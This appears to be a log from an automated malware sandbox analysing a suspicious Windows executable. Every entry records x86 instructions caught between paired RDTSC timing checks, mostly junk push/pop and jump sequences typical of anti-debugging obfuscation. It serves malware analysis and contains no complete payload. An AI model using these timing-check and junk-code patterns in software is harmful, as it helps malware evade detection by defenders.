Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3351BF second address: 3351C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3351C8 second address: 3351D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jbe 00007FF01C80C276h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6EB9 second address: 2D6EBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2D6EBD second address: 2D6F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF01C80C27Fh 0x0000000b popad 0x0000000c nop 0x0000000d sub dword ptr [ebp+122D3193h], ecx 0x00000013 push 00000004h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FF01C80C278h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f movzx edx, si 0x00000032 push eax 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FF01C80C27Fh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 335652 second address: 335656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 335656 second address: 335679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C286h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 335679 second address: 33569A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF01CF91316h 0x00000008 jmp 00007FF01CF91323h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33569A second address: 33569E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33621F second address: 336229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 336229 second address: 336287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF01C80C276h 0x0000000a jmp 00007FF01C80C27Fh 0x0000000f popad 0x00000010 pop edx 0x00000011 pushad 0x00000012 jmp 00007FF01C80C288h 0x00000017 push eax 0x00000018 jmp 00007FF01C80C27Ah 0x0000001d pop eax 0x0000001e jmp 00007FF01C80C288h 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 336287 second address: 33628B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33F2E5 second address: 33F2F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF01C80C27Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33F2F3 second address: 33F2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33F2FB second address: 33F321 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF01C80C286h 0x0000000f jnp 00007FF01C80C276h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33F321 second address: 33F336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF9131Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33D69F second address: 33D6A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33D6A4 second address: 33D6A9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33D6A9 second address: 33D6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jp 00007FF01C80C276h 0x00000012 pop edi 0x00000013 push ebx 0x00000014 push eax 0x00000015 pop eax 0x00000016 jmp 00007FF01C80C27Fh 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33DFAE second address: 33DFB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 33DFB4 second address: 33DFCF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C27Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FF01C80C2A1h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34420D second address: 344224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 je 00007FF01CF91318h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f ja 00007FF01CF91316h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34772B second address: 347734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 347734 second address: 34773C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34787C second address: 347896 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C286h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 347896 second address: 34789B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 347CE9 second address: 347CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34EB75 second address: 34EB81 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FF01CF91316h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34ECF2 second address: 34ECF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34F1A9 second address: 34F1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34F1AE second address: 34F1B8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF01C80C27Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34F34A second address: 34F36B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FF01CF9131Ah 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FF01CF9131Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34F36B second address: 34F370 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34FAB0 second address: 34FABA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF01CF9131Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34FABA second address: 34FAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FF01C80C284h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 34FAD9 second address: 34FAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3501F9 second address: 3501FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3501FF second address: 350205 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 350205 second address: 350209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 350209 second address: 35020D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3508F8 second address: 350940 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF01C80C276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF01C80C27Fh 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop edx 0x00000015 jmp 00007FF01C80C289h 0x0000001a popad 0x0000001b push ecx 0x0000001c jno 00007FF01C80C27Ah 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3601DF second address: 3601F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01CF91321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3601F9 second address: 3601FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3601FF second address: 360210 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF01CF91316h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 366A6A second address: 366A7D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF01C80C278h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b jl 00007FF01C80C276h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 366BEF second address: 366BF4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 366BF4 second address: 366C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF01C80C276h 0x0000000a pop edi 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jo 00007FF01C80C282h 0x00000018 jnc 00007FF01C80C276h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 36A2BB second address: 36A2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 36A2C1 second address: 36A2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 36A2C9 second address: 36A2CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 36A2CD second address: 36A2D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 370379 second address: 37037D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 37037D second address: 370388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 370388 second address: 370394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 370394 second address: 37039A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 37050A second address: 370512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 38123F second address: 381244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 381244 second address: 38124A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 38124A second address: 381250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 38D398 second address: 38D39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 38D39E second address: 38D3A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 38D3A5 second address: 38D3C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF01CF91316h 0x0000000a jmp 00007FF01CF91326h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 38D3C5 second address: 38D3DA instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF01C80C276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnp 00007FF01C80C2A0h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 38D3DA second address: 38D3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01CF91326h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 39B78B second address: 39B78F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 39B78F second address: 39B793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3A8025 second address: 3A802B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3A802B second address: 3A8037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3A8037 second address: 3A806F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop esi 0x00000009 popad 0x0000000a push edx 0x0000000b jmp 00007FF01C80C288h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF01C80C283h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3A806F second address: 3A8075 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3AC6E9 second address: 3AC706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01C80C289h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3AC706 second address: 3AC70A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3AC70A second address: 3AC725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01C80C280h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3AC29C second address: 3AC2A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C0AC1 second address: 3C0AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jbe 00007FF01C80C27Ch 0x0000000b jl 00007FF01C80C276h 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C0AD7 second address: 3C0AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 jmp 00007FF01CF9131Bh 0x0000000d pop ebx 0x0000000e popad 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C0AF0 second address: 3C0AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C0DC9 second address: 3C0DD6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF01CF91316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C13AD second address: 3C13B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C169A second address: 3C16B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF01CF91320h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C1805 second address: 3C180D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C33C1 second address: 3C33CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C33CE second address: 3C33D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C5C71 second address: 3C5C75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C5C75 second address: 3C5C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C5C7B second address: 3C5C9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jno 00007FF01CF91316h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jnc 00007FF01CF9131Ch 0x00000016 js 00007FF01CF9131Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C5F72 second address: 3C5F86 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF01C80C276h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C5F86 second address: 3C5F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF01CF91316h 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FF01CF91316h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 3C61EC second address: 3C61F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DBD2A second address: 2DBD3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 2DBD3A second address: 2DBD3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A2031B second address: 4A20321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\dEugughckk.exe	RDTSC instruction interceptor: First address: 4A20321 second address: 4A2035B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF01C80C283h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f pushad 0x00000010 movzx ecx, di 0x00000013 mov cx, di 0x00000016 popad 0x00000017 popad 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF01C80C280h 0x00000021 rdtsc
